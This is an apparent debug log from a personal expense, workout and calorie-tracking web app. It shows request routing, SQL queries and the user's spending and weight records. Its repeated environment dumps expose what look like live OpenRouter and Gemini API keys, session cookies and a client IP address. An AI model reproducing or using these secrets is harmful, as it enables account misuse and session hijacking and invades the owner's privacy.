    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:57:01.064Z server-connect:router Serving serverConnect /api/expense/list
2026-02-04T11:57:01.064Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-02-04T11:57:01.065Z server-connect:app Executing action step identify
2026-02-04T11:57:01.065Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:01.065Z server-connect:output identity: 1
2026-02-04T11:57:01.065Z server-connect:app Executing action step restrict
2026-02-04T11:57:01.065Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:01.065Z server-connect:app Executing action step identify
2026-02-04T11:57:01.065Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:01.065Z server-connect:output identity: 1
2026-02-04T11:57:01.065Z server-connect:app Executing action step restrict
2026-02-04T11:57:01.065Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:01.065Z server-connect:output restrict: undefined
2026-02-04T11:57:01.066Z server-connect:app Executing action step paged
2026-02-04T11:57:01.066Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T11:57:01.066Z server-connect:output restrict: undefined
2026-02-04T11:57:01.066Z server-connect:app Executing action step select
2026-02-04T11:57:01.066Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-02-04T11:57:01.068Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-02-04T11:57:01.075Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-02-04T11:57:01.924Z server-connect:router Serving templateView /workout
2026-02-04T11:57:01.924Z server-connect:app Executing action step identify
2026-02-04T11:57:01.924Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:01.924Z server-connect:output identity: 1
2026-02-04T11:57:01.924Z server-connect:app Executing action step restrict
2026-02-04T11:57:01.924Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:57:01.925Z server-connect:output restrict: undefined
2026-02-04T11:57:01.925Z server-connect:router Render template workout
2026-02-04T11:57:01.925Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:57:02.372Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-02-04T11:57:02.373Z server-connect:app Executing action step identify
2026-02-04T11:57:02.373Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:02.373Z server-connect:output identity: 1
2026-02-04T11:57:02.373Z server-connect:app Executing action step restrict
2026-02-04T11:57:02.373Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:02.373Z server-connect:output restrict: undefined
2026-02-04T11:57:02.373Z server-connect:app Executing action step select
2026-02-04T11:57:02.374Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-02-04T11:57:02.376Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-02-04T11:57:02.565Z server-connect:router Serving templateView /calorie-tracker
2026-02-04T11:57:02.566Z server-connect:app Executing action step identify
2026-02-04T11:57:02.566Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:02.566Z server-connect:output identity: 1
2026-02-04T11:57:02.566Z server-connect:app Executing action step restrict
2026-02-04T11:57:02.566Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:57:02.566Z server-connect:output restrict: undefined
2026-02-04T11:57:02.566Z server-connect:router Render template calorie-tracker
2026-02-04T11:57:02.567Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:57:02.812Z server-connect:router Serving serverConnect /api/health/todays-calories
2026-02-04T11:57:02.813Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2026-02-04T11:57:02.813Z server-connect:app Executing action step identify
2026-02-04T11:57:02.813Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:02.813Z server-connect:output identity: 1
2026-02-04T11:57:02.814Z server-connect:app Executing action step restrict
2026-02-04T11:57:02.814Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:02.814Z server-connect:app Executing action step identify
2026-02-04T11:57:02.814Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:02.814Z server-connect:output identity: 1
2026-02-04T11:57:02.814Z server-connect:app Executing action step restrict
2026-02-04T11:57:02.814Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:02.814Z server-connect:output restrict: undefined
2026-02-04T11:57:02.814Z server-connect:app Executing action step single
2026-02-04T11:57:02.814Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2026-02-04T11:57:02.815Z server-connect:output restrict: undefined
2026-02-04T11:57:02.815Z server-connect:app Executing action step single
2026-02-04T11:57:02.815Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2026-02-04T11:57:02.817Z server-connect:output summary: undefined
2026-02-04T11:57:02.817Z server-connect:output requirements: undefined
2026-02-04T11:57:02.818Z server-connect:app Executing action step select
2026-02-04T11:57:02.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2026-02-04T11:57:02.821Z server-connect:output item_list: []
2026-02-04T11:57:02.821Z server-connect:app Executing action step setvalue
2026-02-04T11:57:02.821Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2026-02-04T11:57:02.821Z server-connect:output var_total: 0
2026-02-04T11:57:02.821Z server-connect:app Executing action step setvalue
2026-02-04T11:57:02.821Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2026-02-04T11:57:02.821Z server-connect:output var_consumed: NaN
2026-02-04T11:57:02.822Z server-connect:app Executing action step setvalue
2026-02-04T11:57:02.822Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2026-02-04T11:57:02.822Z server-connect:output var_deficit: NaN
2026-02-04T11:57:02.822Z server-connect:app Executing action step custom
2026-02-04T11:57:02.822Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2026-02-04T11:57:02.823Z server-connect:output monthly_chart: []
2026-02-04T11:57:02.823Z server-connect:app Executing action step single
2026-02-04T11:57:02.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2026-02-04T11:57:02.825Z server-connect:output current_weight: { weight: '68.40', date: '2026-01-23T18:30:00.000Z' }
2026-02-04T11:57:03.152Z server-connect:router Serving templateView /weight-trackor
2026-02-04T11:57:03.152Z server-connect:app Executing action step identify
2026-02-04T11:57:03.152Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:03.152Z server-connect:output identity: 1
2026-02-04T11:57:03.152Z server-connect:app Executing action step restrict
2026-02-04T11:57:03.152Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:57:03.153Z server-connect:output restrict: undefined
2026-02-04T11:57:03.153Z server-connect:router Render template weight-trackor
2026-02-04T11:57:03.153Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
